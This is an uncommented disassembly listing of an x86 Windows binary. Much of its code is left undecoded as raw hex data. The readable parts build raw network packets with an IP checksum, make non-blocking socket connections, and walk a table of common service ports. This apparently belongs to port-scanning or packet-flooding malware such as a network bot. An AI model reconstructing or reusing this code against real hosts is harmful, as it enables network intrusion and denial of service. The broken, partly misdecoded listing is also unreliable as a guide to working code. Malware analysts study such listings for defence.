jnz short loc_414F23
pop edi
cmp eax, 1
loc_414F31: ; CODE XREF: ___:00414F17j
jnz short loc_414F3E
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_414F3E: ; CODE XREF: ___:loc_414F31j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h
dd 66D0E8F0h, 5959FFFFh, 71E89056h, 55022DBAh, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0B741E800h, 2B900228h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h
dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h
dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh
dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h
dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h
dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h
dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h, 60858DFFh
dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h
dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o
dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h
dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h
dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh
dd 0E8006A14h, 22DB7B0h, 0EC8B5590h, 254EC81h, 56530000h
dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h
dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h
dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h
dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh
dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h
dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h
dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh
dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh
dd 45FF0000h, 0B245E8FCh, 2B900228h, 0D233F845h, 3E8B9h
dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h
dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h
dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
db 0ACh
byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 0B1E89056h
dd 5F022DB3h
; ---------------------------------------------------------------------------
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_4156FA
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
nop
call near ptr 71AB3E5Dh
jmp loc_4157B6
; ---------------------------------------------------------------------------
loc_4156FA: ; CODE XREF: ___:004156E4j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
call near ptr 71AB155Ah
nop
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CB97C
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CB9BC
test eax, eax
jnz short loc_41575E
or eax, 0FFFFFFFFh
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_41575E: ; CODE XREF: ___:00415757j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415769
loc_415765: ; CODE XREF: ___:00415789j
; ___:004157ADj
mov eax, edi
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_415769: ; CODE XREF: ___:00415763j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41578B
lea eax, [ebp-210h]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_415765
loc_41578B: ; CODE XREF: ___:00415778j
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
call near ptr 71AB4122h
nop
cmp eax, edi
jz short loc_415765
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_4157B6: ; CODE XREF: ___:004156F5j
; ___:0041575Cj ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h, 6AEC4D8Dh
dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h
dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h
dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h
dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h
dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h
dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h
dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h
dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h
dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h
dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h
dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh
dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh
dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh
dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h
dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h
dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
dd 0F000003h, 0FFFF238Ch, 98E890FFh, 2B0228ABh, 0D233F445h
dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 226B2C8h
dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43DB90
mov edi, 0B8h
loc_415C54: ; CODE XREF: sub_415C40+33j
cmp byte ptr [esi], 0
jz short loc_415C77
push [ebp+arg_0]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_415C77
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E710
jl short loc_415C54
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415C77: ; CODE XREF: sub_415C40+17j
; sub_415C40+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43DB90[esi]
push ebx
call sub_41BF70
push 17h
push [ebp+arg_0]
push ebx
call sub_41BFD0
push 9Fh
lea eax, dword_43DBA8[esi]
push [ebp+arg_4]
push eax
call sub_41BFD0
add esp, 24h
inc dword_4294CC
pop ebx
loc_415CB9: ; CODE XREF: sub_415C40+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_437EF0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43DB90
loc_415CEA: ; CODE XREF: sub_415CC0+72j
cmp byte ptr [esi], 0
jz short loc_415D25
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_437EDC
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
loc_415D25: ; CODE XREF: sub_415CC0+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E710
jl short loc_415CEA
pop edi
pop esi
leave
retn
sub_415CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D38 proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call near ptr 27B0791h
nop
mov ebx, offset dword_4D35F4
mov edi, 80h
mov esi, offset dword_4CF5F4
loc_415D5A: ; CODE XREF: sub_415D38+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D71
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BFD0
add esp, 0Ch
loc_415D71: ; CODE XREF: sub_415D38+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D5A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C360
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_408967p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41CB70
lea eax, [ebp+var_80]
push eax
call sub_415D38
add esp, 14h
leave
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF5F4
xor ecx, ecx
loc_415DDF: ; CODE XREF: sub_415DD8+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D35F4
jl short loc_415DDF
cmp [esp+arg_C], ecx
jnz short loc_415E0D
push ecx
push [esp+4+arg_8]
push offset dword_437F3C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409869
add esp, 14h
loc_415E0D: ; CODE XREF: sub_415DD8+19j
push offset dword_437F28
call sub_415D38
pop ecx
retn
sub_415DD8 endp
; =============== S U B R O U T I N E =======================================
sub_415E19 proc near ; CODE XREF: ___:0040E1FFp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4CF5F4
loc_415E1F: ; CODE XREF: sub_415E19+27j
cmp byte ptr [esi], 0
jz short loc_415E34
push [esp+4+arg_0]
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jnz short loc_415E46
loc_415E34: ; CODE XREF: sub_415E19+9j
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415E1F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E46: ; CODE XREF: sub_415E19+19j
push 1
pop eax
pop esi
retn
sub_415E19 endp
; ---------------------------------------------------------------------------
byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_415E9E
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_437F6C
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415E9E: ; CODE XREF: ___:00415E7Ej
cmp byte ptr [ebp-98h], 0
jz short loc_415EBE
lea eax, [ebp-98h]
push eax
call sub_41C159
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415EBE
mov [ebp-8], eax
loc_415EBE: ; CODE XREF: ___:00415EA5j
; ___:00415EB9j
and dword ptr [ebp+8], 0
mov esi, offset dword_4CF5F4
loc_415EC7: ; CODE XREF: ___:00415F1Fj
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415F21
cmp byte ptr [esi], 0
jz short loc_415F10
cmp byte ptr [ebp-98h], 0
jz short loc_415EF6
cmp dword ptr [ebp-4], 0
jnz short loc_415EF6
lea eax, [ebp-98h]
push eax
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jz short loc_415F10
loc_415EF6: ; CODE XREF: ___:00415EDBj
; ___:00415EE1j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415F10: ; CODE XREF: ___:00415ED2j
; ___:00415EF4j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D35F4
jl short loc_415EC7
loc_415F21: ; CODE XREF: ___:00415ECDj
lea eax, [ebp-31Ch]
push offset dword_437F50
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_415F5B
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409869
add esp, 14h
loc_415F5B: ; CODE XREF: ___:00415F39j
lea eax, [ebp-31Ch]
push eax
call sub_415D38
push dword ptr [ebp-18h]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
or [ebx+5E5F022Dh], ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F7A proc near ; CODE XREF: ___:0041661Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FF6
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14
cmp eax, esi
jnz short loc_415FDB
push [ebp+arg_0]
call dword_4CBA58
test eax, eax
jz short loc_415FF6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415FDB: ; CODE XREF: sub_415F7A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, esi
jnz short loc_415FFA
push edi
call dword_4CBA6C
loc_415FF6: ; CODE XREF: sub_415F7A+1Bj
; sub_415F7A+58j
mov eax, esi
jmp short loc_415FFC
; ---------------------------------------------------------------------------
loc_415FFA: ; CODE XREF: sub_415F7A+73j
mov eax, edi
loc_415FFC: ; CODE XREF: sub_415F7A+7Ej
pop edi
pop esi
leave
retn
sub_415F7A endp
; ---------------------------------------------------------------------------
dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
; DATA XREF: sub_401ACD+A02o
dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 0EDE89056h
dd 68022DA9h, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
dd 5659FFFFh, 0A982E890h, 646A022Dh, 26ADF3E8h, 0FF339002h
dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h
dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
dd 26AD9BE8h, 0A6A9002h, 0FF549DE8h, 59C085FFh, 858DA375h
dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h
dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh
dd 22DA8C0h
db 90h
; ---------------------------------------------------------------------------
loc_4161C1: ; DATA XREF: sub_401ACD+7696o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CBA54
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_41620F
push offset unk_4380EC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41620F: ; CODE XREF: ___:00416203j
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CB9D4
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CBA00
test eax, eax
jz short loc_41624D
push offset unk_4380C8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: ___:00416241j
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CB978
push dword ptr [ebp-2Eh]
call dword_4CB904
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41B9C0
pop ecx
loc_41627F: ; CODE XREF: ___:004162B0j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_416292
push 5Fh
pop eax
